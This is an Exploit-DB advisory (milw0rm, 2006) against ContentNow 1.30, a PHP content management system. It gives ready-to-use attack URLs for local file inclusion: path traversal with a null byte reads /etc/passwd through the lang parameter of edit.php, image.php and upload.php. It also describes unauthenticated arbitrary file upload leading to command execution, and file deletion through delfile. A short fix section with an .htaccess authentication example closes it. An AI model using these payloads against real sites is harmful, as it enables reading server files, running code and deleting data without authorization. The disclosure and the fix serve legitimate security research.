Exploit-DB #2768
Description: ContentNow 1.30 - Local File Inclusion / Arbitrary File Upload/Delete
Type: webapps
Platform: php
Date: 2006-11-13
Author: r0ut3r

Exploit:
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#                              r0ut3r Presents...                                   #
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#                          Another r0ut3r discovery!                                #
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# ContentNow 1.30 Local File Include & Arbitrary File Upload/Delete Vulnerabilities #
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# Software: ContentNow 1.30 Vulnerabilities                                         #
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# Vendor: http://www.contentnow.mf4k.de/                                            #
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# Released: 2006/11/13                                                              #
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# Discovered By: r0ut3r (writ3r [at] gmail.com)                                     #
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# Criticality: Highly critical                                                      #
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Local file inclusion vulnerability
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Vuln code:
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  33  // get/set language
  34  $setLang= (empty ($_GET['lang'])) ? $cnCore->getBackendLanguage() : $_GET['lang'];
  35  
  36  // define language
  37  include_once ('./language/'.$setLang.'.language.php');
  38  $lang= $cnLanguageArray[$setLang];

Exploit:
--------
http://localhost/cn/edit.php?lang=../../../../etc/passwd%00
http://localhost/cn/image.php?lang=../../../../etc/passwd%00
http://localhost/cn/upload.php?lang=../../../../etc/passwd%00
Probably more, never checked all files.

File Upload/Command Execution Vulnerability:
---------------------------------------------
Note: They tell you to set 777 permissions on install for certain folders.

http://localhost/cn/upload.php?path=/&cid=&type=file&single=false&folder=&lang=en
set path to equal dir location:
/ = root path

Select file, then upload it.

File Removal Vulnerability:
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To delete files
http://localhost/contentnow_130/cn/upload.php?path=/&cid=&type=file&folder=&lang=en&delfile=q.php&single=false
set path to equal dir location:
/ = root path
set delfile for file you want to delete:
q.php

More Information:
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Email: writ3r [at] gmail.com

Fix:
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How about some authentication?!
Only allow the upload of certain files types, depends what you want it to use.

As for local file includes, work out a better way to set languages, ie: make sure the language file included is required for the cms.

Quick Fix:
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Setup .htaccess on cn/

Example Fix:
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.htaccess:
AuthName "ContentNow Fix!"
AuthType Basic
AuthUserFile /var/www/html/cn/.htpasswd
Require valid-user

This will prevent anyone from accessing this folder - this would be a solution for administrators whilst an upgrade, or patch is created.
If you do want to access this better make a .htpasswd file to. 

# milw0rm.com [2006-11-13]